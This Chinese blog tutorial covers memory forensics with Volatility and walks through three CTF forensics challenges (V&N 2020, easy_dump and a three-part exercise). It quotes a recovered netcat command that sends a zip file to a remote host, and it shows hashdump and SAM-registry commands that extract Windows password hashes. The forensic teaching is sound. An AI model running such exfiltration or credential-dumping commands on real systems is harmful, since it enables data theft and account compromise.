浅谈网络安全之内存取证
简介:
网络与信息技术的加速渗透和深度应用以及软件漏洞不断涌现,导致网络攻击和网络犯罪频发,造成了严重的网络安全威胁.计算机取证是打击计算机与网络犯罪的关键技术,其目的是将犯罪者留在计算机中的“攻击痕迹”提取出来,作为有效的诉讼证据提供给法庭,以便将犯罪嫌疑人绳之以法。
作为一种实时提取数字证据、对抗网络攻击、打击网络犯罪的有力武器,内存取证已成为信息安全领域研究者所共同关注的热点。
内存的获取方法:
- 基于硬件的内存获取
- 基于软件的内存获取
Windows操作系统平台支持内存获取的常见工具有:
DumpIt (早期版本名为Win32dd)
Belkasoft RAMCapturer
Magnet RAM Capture
WinEn
Winpmem
EnCase Imager
FTK Imager
取证大师
取证神探
Linux操作系统常见的内存获取工具:
dd (适合Linux早期版本)
LiME http://code.google.com/p/lime-forensics/
linpmem
Draugr http://code.google.com/p/draugr/
Volatilitux http://code.google.com/p/volatilitux/
Memfetch http://lcamtuf.coredump.cx/
Memdump
MacOSX操作系统内存获取工具有:
MacMemoryReader
osxpmem
Recon for Mac OSX
Blackbag MacQuisitio
得到内存之后就是最重要的一步,就是内存取证分析。
内存分析技术
Windows操作系统获取出的物理内存镜像需要使用专门的内存分析工具。常见的内存分析工具有Volatility、Rekall、Forensic Toolkit(FTK)、取证大师及取证神探等,可以解析出常见的基本信息,包括进程信息、网络连接、加载的DLL文件及注册表加载信息等。
在这里笔者使用的是volalitity取证工具(新版本的kail好像已经没有这个软件,需要自行下载)
常用插件: imageinfo:显示目标镜像的摘要信息,知道镜像的操作系统后,就可以在 –profile 中带上对应的操作系统 pslist:该插件列举出系统进程,但它不能检测到隐藏或者解链的进程,psscan可以 psscan:可以找到先前已终止(不活动)的进程以及被rootkit隐藏或解链的进程 pstree:以树的形式查看进程列表,和pslist一样,也无法检测隐藏或解链的进程 mendump:提取出指定进程,常用foremost 来分离里面的文件 filescan:扫描所有的文件列表 hashdump:查看当前操作系统中的 password hash,例如 Windows 的 SAM 文件内容 svcscan:扫描 Windows 的服务 connscan:查看网络连接
Volatility语法规则
python2 vol.py --help //使用-h或者–help可以列举出所有可用的选项以及插件
![](http://101.201.145.226/wp-content/uploads/2020/11/image.png)
python2 vol.py --info //–info可以打印出所有已经注册的对象(插件)
![](http://101.201.145.226/wp-content/uploads/2020/11/image-1.png)
Profiles对于windows的内存取证来说至关重要。
Profiles(配置文件)
profile是特定操作系统版本以及硬件体系结构(x86,x64,ARM)中VTypes,共用体,对象类型的集合.除了这些组件以外,profile还包括如下:
元数据:操作系统的名称(例如:”windows”,”mac”,”linux”),内核版本,以及编译号.
系统调用信息:索引以及系统调用的名称
常量值:全局变量-在某些操作系统中能够在硬编码的地址处找到的全局变量
系统映射:关键全局变量和函数的地址(仅限Linux和Mac)
每个profile(配置文件)有个一个唯一的名称,通常是由操作系统的名称,版本,服务包,系统结构等信息组成.例如:Win7SP1x64是64位的Windows 7 SP1系统配置文件的名称。
常规命令格式
python2 vol.py -f <文件名> --profile=<配置文件> <插件> [插件参数]
栗子:
python vol.py -f lemon.raw --profile=Win7SP1x86 volshell
但是--profile如何确定配置文件呢?
如果我们不指定–profile这个选项的话,默认这个选项为WinXPSP2x86.
我们可以使用imageinfo插件来猜测dump文件的profile值.
python2 vol.py -f lemon.raw imageinfo
![](http://101.201.145.226/wp-content/uploads/2020/11/image-2.png)
我们可以注意到这里有多个profile值可选.因为这些操作系统的很多特性都是类似的.imageinfo这个插件猜测profile值的功能是基于kdbgscan这个插件的功能来实现的.而kdbgscan这个插件是通过查找分析内核调试器数据块(_KDDEBUGGER_DATA64)的特征来猜测profile值的。
调试器数据结构位于NT内核模块中(nt!KdDebuggerDataBlock).它包含一个编译字符串,比如:3790.srv03_sp2_rtm.070216-1710,数字值指明了目标操作系统的主,次版本号以及服务包号。
kdbgscan插件扫描dump文件的profile值
![](http://101.201.145.226/wp-content/uploads/2020/11/image-3.png)
可以看到有多个结果,通常来说第一个结果是正确的.imageinfo,kdbgscan这两个插件仅适用于Windows系统的内存dump文件.而Linux,Mac确定正确的profile值有其他的方法.
现在我们就可以指定profile这个选项的值了.
python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418volshell
volshell这个插件用于进入Volatility专属的shell.在该shell中可以利用dt(“内核关键数据结构名称”)命令来查看操作系统内核关键数据结构的定义
列举进程
python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418pslist
![](http://101.201.145.226/wp-content/uploads/2020/11/image-5.png)
开始时间进程数,占用进程名称.但是pslist这个命令无法显示出隐藏的进程。
查看当前显示的notepad文本 | python2 vol.py -f file.raw --profile=WinXPSP2x86 notepad |
进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dump |
strings -e l 252.dmp | grep flag -e的参数为编码方式,其中l为16-bit编码 |
扫描所有的文件列表(常常结合grep) | python2 vol.py -f file.raw --profile=WinXPSP2x86 filescan |
根据offset提取出文件 | python2 vol.py -f file.raw --profile=WinXPSP2x86 dumpfiles -D . -Q 0x….. |
扫描 Windows 的服务 | python2 vol.py -f file.raw --profile=WinXPSP2x86 svcscan |
查看网络连接 | python2 vol.py -f file.raw --profile=WinXPSP2x86 connscan |
查看命令行上的操作 | python2 vol.py -f file.raw --profile=WinXPSP2x86 cmdscan |
根据pid dump出相应的进程 |
python2 vol.py -f file.raw --profile=WinXPSP2x86 memdump -p 2580 -D 目录 //-p 的参数为进程ID-D 的参数为保存文件的路径
|
查看网络通讯连接 | python2 vol.py -f file.raw --profile=WinXPSP2x86 netscan |
查看最后关机时间 | python2 vol.py -f file.raw --profile=WinXPSP2x86 shutdowntime |
查看Windows帐户hash | python2 vol.py -f file.raw --profile=WinXPSP2x86 hashdump |
进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dump
strings -e l 252.dmp | grep flag //-e的参数为编码方式,其中l为16-bit编码
列举注册表
volatility -f 1.raw --profile=Win7SP1x86 hivelist
导出注册表volatility -f 1.raw --profile=Win7SP1x86 hivedump -o 0x93fc41e8(注册表的 virtual 地址)
获取浏览器浏览历史
volatility -f 1.raw --profile=Win7SP1x86 iehistory
扫描文件
volatility -f 1.raw --profile=Win7SP1x86 filescan | grep flag //filescan会扫描内存中所有文件
如果要提取的话,使用dumpfiles提取文件volatility -f 1.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000003e71e608 --dump-dir=./
-Q的参数为 内存地址
--dump-dir的参数为导出文件的目录
列举用户及密码
volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SAM\Domains\Account\Users\Names"
获取最后登陆系统的用户
volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
上面的命令就不详细的操作了。
下面开始做一些题,以练促学。
V&N 2020 公开赛 内存取证
下载raw文件,拉进kail
![](http://101.201.145.226/wp-content/uploads/2020/11/image-6.png)
得到镜像信息。
查看进程
![](http://101.201.145.226/wp-content/uploads/2020/11/image-7.png)
有几个可疑的进程
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ 0x83c0ad40 TrueCrypt.exe 3364 3188 7 388 1 0 2020-02-18 19:52:44 UTC+0000 0x837f5d40 notepad.exe 3552 1964 2 61 1 0 2020-02-18 19:53:07 UTC+0000 0x82a7e568 iexplore.exe 3640 1964 16 468 1 0 2020-02-18 19:53:29 UTC+0000 0x847c8030 iexplore.exe 3696 3640 25 610 1 0 2020-02-18 19:53:29 UTC+0000 0x848a7030 mspaint.exe 2648 1964 18 383 1 0 2020-02-18 19:54:01 UTC+0000 0x83922030 DumpIt.exe 1500 1964 2 39 1 0 2020-02-18 19:56:22 UTC+0000
TrueCrypt 一个磁盘软件
notepad 万能的记事本
iexplore 浏览器
mspaint 画图
DumpIt 内存读取工具
python2 vol.py -f mem.raw --profile=Win7SP1x64 memdump -p 2648 -D ./
换个思维想,谁又会无端打开画图工具,我们先把可疑的进程都dump下来。
又查看了浏览器的历史记录
![](http://101.201.145.226/wp-content/uploads/2020/11/image-8.png)
得到一个云盘链接,应该是那个VOL的下载链接吧!
在前面我们讲画图程序dump下来了,改一下后缀2648.dmp为2648.data。
然后用gimp配合使用。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-9-1024x238.png)
得到一个字符串1YxfCQ6goYBD6Q
然后用命令对记事本的内容进行dump
python2 vol.py -f mem.raw --profile=Win7SP1x86_23418 editbox
![](http://101.201.145.226/wp-content/uploads/2020/11/image-10.png)
得到了云盘链接和提取码,下载是个VOL文件。
接下来用工具EFDD
![](http://101.201.145.226/wp-content/uploads/2020/11/image-11.png)
![](http://101.201.145.226/wp-content/uploads/2020/11/image-12.png)
![](http://101.201.145.226/wp-content/uploads/2020/11/image-13.png)
![](http://101.201.145.226/wp-content/uploads/2020/11/image-16.png)
![](http://101.201.145.226/wp-content/uploads/2020/11/image-17.png)
![](http://101.201.145.226/wp-content/uploads/2020/11/image-14.png)
![](http://101.201.145.226/wp-content/uploads/2020/11/image-18.png)
访问F盘
![](http://101.201.145.226/wp-content/uploads/2020/11/image-19.png)
得到了一串字符。
下一步就是使用TrueCrypt
![](http://101.201.145.226/wp-content/uploads/2020/11/image-20.png)
将刚刚key里的字符串输入进去,挂载成功。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-21.png)
画图得到的字符串就是密码
![](http://101.201.145.226/wp-content/uploads/2020/11/image-22.png)
得到了flag。、
不得不说套娃真的是服了。
easy_dump
![](http://101.201.145.226/wp-content/uploads/2020/11/image-23-1024x160.png)
查看一下信息。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-24-1024x686.png)
列出进程。
查看一下有没有可疑的进程,然后dump下来。
这里我将记事本dump下来。
python2 vol.py -f easy_dump.img --profile=Win7SP1x64 memdump -p 2616 -D ./
然后再用命令:strings -e l 2616.dmp | grep "flag"
去2616里找flag。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-25.png)
flag没有但是有奇怪的照片。
python2 vol.py -f easy_dump.img --profile=Win7SP1x64 filescan | grep "jpg"
去找jpg图片
![](http://101.201.145.226/wp-content/uploads/2020/11/image-26.png)
使用命令:python2 vol.py -f easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x000000002408c460 -D ./
将图片dump下载过来。
打开也没什么东西。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-27-1024x161.png)
binwalk看一下发现里面还有一个zip文件。
那麽就用foremost将其分离出来。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-28.png)
分离出来还是打不开。
再次使用foremost却没有成功,试了一下binwalk分离,成功的得到了hints.txt文件。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-29.png)
类似于坐标。
import matplotlib.pyplot as plt
import numpy as npx = []
y = []
with open('hint.txt','r') as f:datas = f.readlines()for data in datas:arr = data.split(' ')x.append(int(arr[0]))y.append(int(arr[1]))plt.plot(x,y,'ks',ms=1)
plt.show()
脚本转换。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-30.png)
手机扫了以下,主要内容key:aeolus,但是他把加密文件删除了。
这里使用testdisk这个工具(kali自带)来恢复被删除的文件。
输入:testdisk xxx 即可进入软件内部操作
Proceed:继续
Quit:退出,关闭
[ Analyse ] 分析正确的分区结构并找到丢失的分区表
[ Advanced ] 文件系统工具
[ Geometry ] 更改硬盘类型
[ Options ] 修改高级选项
[ Quit ] 返回到硬盘检测
[ Type ] :改变文件系统的类型,这种修改并不会真正改变硬盘上的真正格式。
[Superblock] :列出超级块,这是文件系统的基本元数据。
[ List ] :列出所有文件,并复制(恢复)出来
[Image Creation] :对当前分区创建镜像文件
[ Quit ]:退出,返回
红色文件就表示已经删除的文件。当然你也可以选择一个红色的目录,表示恢复整个目录。
最终找到了被删除的文件
![](http://101.201.145.226/wp-content/uploads/2020/11/image-31.png)
选择红色文件,小写c选择导出路径。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-32.png)
成功导出。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-34.png)
维吉尼亚解密字符串yise!dmsx_tthv_arr_didvi就可以得到flag。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-35.png)
内存取证三项CTF
![](http://101.201.145.226/wp-content/uploads/2020/11/image-36.png)
题目说明了是取证题。
python2 vol.py -f 1.raw imageinfo //查看配置信息
![](http://101.201.145.226/wp-content/uploads/2020/11/image-37.png)
第一问写的什么,那就打开记事本
python2 vol.py -f 1.raw --profile=WinXPSP2x86 notepad
得到文本:666C61677B57336C6563306D655F376F5F466F72336E356963737D
观察只有0-9,字母最多知道F,十六进制(base16),可能是base16
![](http://101.201.145.226/wp-content/uploads/2020/11/image-38.png)
第一问解决。
小白的密码,我们可以使用hashdump查看
python2 vol.py -f 1.raw --profile=WinXPSP2x86 hashdump
![](http://101.201.145.226/wp-content/uploads/2020/11/image-39.png)
对:1e581aafa474dfadfdf83fc31e4fd4ea解密。
flag{19950101}
机密文件是什么?
小白的电脑给小黑的电脑发送了文件,肯定会建立连接。
python2 vol.py -f 1.raw --profile=WinXPSP2x86 connscan
![](http://101.201.145.226/wp-content/uploads/2020/11/image-40.png)
本机192.168.57.21的1045与远程主机192.168.57.14的2333端口建立了连接,进程120.
python2 vol.py -f 1.raw --profile=WinXPSP2x86 pslist
列出进程。
![](http://101.201.145.226/wp-content/uploads/2020/11/image-41.png)
cmd进程也有
python2 vol.py -f 1.raw --profile=WinXPSP2x86 cmdscan //提取cmd命令记录
![](http://101.201.145.226/wp-content/uploads/2020/11/image-42.png)
第一个命令就有问题了。
ipconfig
cd C:\Program Files\Netcat
nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip
发送了一个压缩包。
python2 vol.py -f 1.raw --profile=WinXPSP2x86 memdump -p 120 -D ./
使用命令dump下来,并用binwalk 分析一下
![](http://101.201.145.226/wp-content/uploads/2020/11/image-43-1024x21.png)
里面还有个txt文本
![](http://101.201.145.226/wp-content/uploads/2020/11/image-44.png)
还有六个压缩包。
进output文件夹里 ls
解压第一个文件时提示需要密码
![](http://101.201.145.226/wp-content/uploads/2020/11/image-45.png)
用刚刚的弱口令出生年月就可以解压得到P@ssW0rd_is_y0ur_bir7hd4y.txt
flag{Thi5_Is_s3cr3t!}
内存取证就结束了,以后加油!
浅谈网络安全之内存取证相关推荐
- 浅谈C语言内存(栈)
浅谈C语言内存 文章目录 浅谈C语言内存 内存分配 栈 斐波纳契数列 内存分配 在C语言中内存分别分为栈区(stack).堆区(heap).未初始化全局数据区.已初始化全局数据区.静态常量区(stat ...
- 浅谈CPU、内存,硬盘三者关系
浅谈CPU.内存,硬盘三者关 随着SSD的发展,只要电脑一卡顿,人们会第一想的是换SSD就可以升级电脑性能,其实不尽然.电脑卡顿跟固态硬盘固然有关系,但是它跟CPU和内存条的关系也很多,接下来带大家了 ...
- 浅谈网络安全态势感知
一.基本概念 前美国空军首席科学家Endsley博士给出的动态环境中态势感知的通用定义是: 态势感知是感知大量的时间和空间中的环境要素,理解它们的意义,并预测它们在不久将来的状态. 在这个定义中,我们 ...
- 浅谈——网络安全架构设计(二)
(34条消息) 浅谈--网路安全架构设计(一)_孤城286的博客-CSDN博客 目录 一.实现需求: 二.安全优化: (1)修改后网络架构 (2)安全评估: 三.再优化 (1)优化方案 (2)防火墙区 ...
- 浅谈C++中内存分配、函数调用和返回值问题
在谈述函数调用和返回值问题之前,先来看看C++中内存分配的问题. C++编译器将计算机内存分为代码区和数据区,很显然,代码区就是存放程序代码,而数据区则是存放程序编译和执行过程出现的变量和常量.数据区 ...
- 浅谈网络安全应急预案
已经有计划了,但是没有完成,要一篇WAF,一篇杀伤链,今天呢,说说网络安全中的应急响应. 凡事预则立,不预则废.网络安全应急响应就是要对网络安全有清晰认识,有所预估和准备,从而在一旦发生突发网络安全事 ...
- Qt浅谈之一:内存泄露(总结)
一.简介 Qt内存管理机制:Qt 在内部能够维护对象的层次结构.对于可视元素,这种层次结构就是子组件与父组件的关系:对于非可视元素,则是一个对象与另一个对象的从属关系.在 Qt 中,在 ...
- 转:浅谈Linux的内存管理机制
一 物理内存和虚拟内存 我们知道,直接从物理内存读写数据要比从硬盘读写数据要快的多,因此,我们希望所有数据的读取和写入都在内存完成,而内存是有限的,这样就引出了物理内存与虚拟内存的概 ...
- 浅谈Linux的内存管理机制
一 物理内存和虚拟内存 我们知道,直接从物理内存读写数据要比从硬盘读写数据要快的多,因此,我们希望所有数据的读取和写入都在内存完成,而内存是有限的,这样就引出了物理内存与虚拟内存的概 ...
- 浅谈CPU、内存、虚拟内存、硬盘之间的关系
2019独角兽企业重金招聘Python工程师标准>>> 大家都知道组装电脑需要CPU硬盘,内存等硬件,系统中还含有虚拟内存,对于其中的相互关系,大家可能不了解! 下面用最简明易懂的语 ...
最新文章
- JS子窗口调用父窗口中的函数
- 真假应用傻傻分不清,HideIcon病毒玩起“隐身计”
- 【机房重构】一步一步往上爬——验收给了我什么
- java也可以做黑客?
- java,类的构造方法
- shop--8.店铺管理页面的开发
- 黄聪:基于jQuery+JSON的省市区三级地区联动
- oracle out of bounds,如何通过不具有ArrayIndexOutOfBoundsException的executeBatch获取生成的键?...
- 苍井空详细介绍(婚后生活)
- 【李沐精读GNN论文总结】A Gentle Introduction to Graph Neural Networks
- CSS 实现水晶按钮特效 - 来自 www.codesc.net
- 计算机基础教案8,计算机应用基础教案8.2修饰演示文稿
- 群星闪耀 视觉科技史上引领我们前进的不朽瞬间
- RK3288——LCD裸机
- vscode如何运行python文件_vscode怎么运行.py文件_编程开发工具
- 【云原生分布式存储】成书心路历程
- 离散数学 习题篇 —— k倍区间
- ArcGIS线转面的方法-收藏(转)
- DiskGenius
- html语言 特效字,html特效文字代码1...
热门文章
- Ubuntu配置阿里云镜像
- Ubuntu下如何使用编译使用john-1.9.0源码
- R 两表格跟据某列相同值进行合并
- Unity 遮挡剔除
- PAT甲级 1087 条条大路通罗马
- 【网安入门】学习笔记(一)
- 华为手机多屏互动功能使用
- C#MySql.Data报错Guid should contain 32 digits with 4 dashes (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
- windows常用快捷键(截图,录屏,放大镜,虚拟桌面,写字板,资源管理器快捷键)
- 变量、参数和内存分配